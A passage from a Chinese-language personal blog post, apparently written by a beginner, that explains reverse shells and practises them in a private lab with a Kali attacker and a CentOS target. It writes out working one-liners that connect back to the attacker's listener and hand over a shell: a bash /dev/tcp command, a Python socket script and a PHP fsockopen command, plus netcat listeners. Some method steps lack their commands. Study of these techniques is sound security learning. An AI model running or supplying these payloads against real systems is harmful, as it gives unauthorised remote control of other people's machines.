初识反弹Shell
前言:
最近看大師傅們的博客,總是會看到反彈shell,而且不理解,所以就學(xué)習(xí)一波順便總結(jié)下來!
0x01:何為反彈Shell
反彈shell(reverse shell),就是控制端監(jiān)聽某TCP/UDP端口,被控端發(fā)起請求到該端口,并將其命令行的輸入輸出轉(zhuǎn)到控制端。reverse shell與telnet(遠(yuǎn)程登陸),ssh等標(biāo)準(zhǔn)shell對應(yīng),本質(zhì)上是網(wǎng)絡(luò)概念的客戶端與服務(wù)端的角色反轉(zhuǎn)。
0x02:為何要反彈Shell
通常用于被控端因防火墻受限、權(quán)限不足、端口被占用等情形。
假設(shè)攻擊了一臺機(jī)器,打開了該機(jī)器的一個端口,攻擊者在自己的機(jī)器去連接目標(biāo)機(jī)器(目標(biāo)ip:目標(biāo)機(jī)器端口),這是比較常規(guī)的形式,叫做正向連接。遠(yuǎn)程桌面、web服務(wù)、ssh、telnet等都是正向連接。那么什么情況下正向連接不能用了呢?
有如下情況:
1.某客戶機(jī)中了你的網(wǎng)馬,但是它在局域網(wǎng)內(nèi),你直接連接不了。
2.目標(biāo)機(jī)器的ip動態(tài)改變,你不能持續(xù)控制。
3.由于防火墻等限制,對方機(jī)器只能發(fā)送請求,不能接收請求。
4.對于病毒,木馬,受害者什么時候能中招,對方的網(wǎng)絡(luò)環(huán)境是什么樣的,什么時候開關(guān)機(jī)等情況都是未知的,所以建立一個服務(wù)端讓惡意程序主動連接,才是上策。
那么反彈就很好理解了,攻擊者指定服務(wù)端,受害者主機(jī)主動連接攻擊者的服務(wù)端程序,就叫反彈連接。
0x03:實踐反彈Shell
實驗環(huán)境:
Kali Linux: 192.168.186.128(攻擊方) CentOS 7: 192.168.186.129(服務(wù)器端)方法一:使用linux命令反彈shell
反彈shell命令格式如下:
$ bash -i >& /dev/tcp/ip/port 0>&1先在kail中使用nc監(jiān)聽6666端口
$ nc -lvp 6666
然后在Centos中執(zhí)行:
查看kail,發(fā)現(xiàn)ip地址已經(jīng)變成服務(wù)器端的ip了,說明shell反彈成功,這時候就能對服務(wù)器進(jìn)行遠(yuǎn)程操控了
在Centos中執(zhí)行那串代碼是怎么來的?,下面就來學(xué)習(xí)一下:
除此之外還可以在服務(wù)器端輸出字符串到這個/dev/tcp文件中,這樣攻擊方便可以接收到:
輸出lemon并重定向到/dev/tcp文件中
這個過程是服務(wù)器端->攻擊端,同樣也可以在攻擊機(jī)上的輸入,服務(wù)端進(jìn)行接收
攻擊端輸入
服務(wù)器端接收
這行命令還含有&、0>&1
這里就涉及交互重定向,為實現(xiàn)交互,需要把服務(wù)器端交互式shell的輸出重定向到攻擊機(jī)上
在服務(wù)器端上輸入
如同,服務(wù)器端沒有任何回顯,攻擊端有回顯
但是這里就存在著一個問題,攻擊者沒有能夠?qū)崿F(xiàn)對受害者的控制,攻擊者執(zhí)行的命令沒法在受害者電腦上執(zhí)行,所以需要一條這樣的指令
這條指令的意思是將攻擊者輸入的命令輸入給受害者的bash,所以便可以實現(xiàn)對受害者的控制
攻擊方:
服務(wù)器端:
將兩條指令結(jié)合起來,便可以形成:
接下來就涉及到比較復(fù)雜的重定向和文件描述符的知識,最終形成最經(jīng)典的反彈shell語句。
bash -i >& /dev/tcp/192.168.146.129/2333 0>&1由于現(xiàn)在是初始階段,有的確實還是不理解就不誤導(dǎo)其他人了.先通過使用來加深印象之后再將原理這塊補(bǔ)齊。原理可以參考這位大師傅的反彈shell
方法二:通過python反彈shell
首先在kail中監(jiān)聽6666端口
root@kail:~# nc -lvp 6666
然后在Centos中輸入
展開來看就是這樣:
"import os,socket,subprocess; s=socket.socket(socket.AF_INET,socket.SOCK_STREAM); s.connect(('192.168.186.128',6666)); os.dup2(s.fileno(),0); os.dup2(s.fileno(),1); os.dup2(s.fileno(),2); p=subprocess.call(['/bin/bash','-i']);"連接成功
原理還是經(jīng)典反彈shell的原理,這里只不過是利用了python來實現(xiàn)
方法三:通過nc反彈shell
流程還是一樣的,先在kail中監(jiān)聽6666端口
root@kail:~# nc -lvp 6666
然后在CentOS中輸入:
連接成功
方法四:使用php反彈shell
類型一:exec函數(shù)來反彈shell
先在kail中監(jiān)聽端口,這里就不再敘述了
然后在Centos中執(zhí)行以下命令:
連接成功:
類型二:fsockopen連接
fsockopen — 打開一個網(wǎng)絡(luò)連接或者一個Unix套接字連接
在Centos中執(zhí)行:
php -r '$sock=fsockopen("192.168.186.128",6666);exec("/bin/bash -i <&3 >&3 2>&3");'
連接成功
總結(jié):
這次就先了解反彈shell的幾種方式,由于目前對linux的一些知識掌握的還不是很好,就先不學(xué)習(xí)原理,待基礎(chǔ)知識增強(qiáng)后再學(xué)習(xí)原理!!!
參考鏈接:
玄魂
Linux下反彈shell幾種方法學(xué)習(xí)總結(jié)
Linux 反彈shell(二)反彈shell的本質(zhì)
總結(jié)
- 上一篇: Python爬虫之旅_TWO
- 下一篇: 布尔盲注新姿势